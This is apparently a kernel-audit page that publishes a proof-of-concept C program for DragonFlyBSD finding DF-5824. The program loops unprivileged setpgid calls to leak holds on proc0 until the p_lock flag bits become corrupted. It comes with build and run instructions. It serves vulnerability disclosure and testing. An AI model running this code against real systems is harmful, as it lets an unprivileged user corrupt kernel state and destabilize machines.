⬢ DragonFlyBSD Kernel Audit
DF-5824 / df5824_leak.c
← back to finding ↓ download raw
/*
 * DF-5824 rig: inferior() PHOLD leak on proc0 (sys/kern/kern_proc.c:477-481).
 *
 * inferior(p) walks p's ancestry; when it reaches the pid==0 node it
 * returns 0 WITHOUT releasing the hold it took on that node (proc0).
 * Every unprivileged setpgid(<non-descendant pid>, 0) reaches this via
 * sys_setpgid (sys/kern/kern_prot.c:372) and returns ESRCH - one stranded
 * PHOLD on proc0 per call, at unprivileged syscall rate.
 *
 * proc0 is immortal so the leak does not UAF, but p_lock grows without
 * bound: after 2^28 calls the PLOCK_WAITRES/ZOMB/WAITING flag bits in the
 * p_lock word are corrupted (PLOCK_MASK is 0x0FFFFFFF).
 *
 * Build:  cc -O2 -o df5824_leak df5824_leak.c
 * Run (unprivileged): ./df5824_leak 20000000
 */
#include <unistd.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>

int
main(int argc, char **argv)
{
	long n = (argc > 1) ? atol(argv[1]) : 10000000;
	long esrch = 0, other = 0, i;

	for (i = 0; i < n; ++i) {
		if (setpgid(1, 0) == 0)
			++other;
		else if (errno == ESRCH)
			++esrch;	/* inferior()==0 -> leaked one PHOLD */
		else
			++other;
	}
	printf("setpgid(1,0) calls : %ld\n", n);
	printf("ESRCH (leak path)   : %ld\n", esrch);
	printf("other               : %ld\n", other);
	printf("=> proc0 p_lock stranded holds: +%ld "
	    "(0x%lx flag bits at 2^28)\n", esrch, (unsigned long)esrch);
	return (0);
}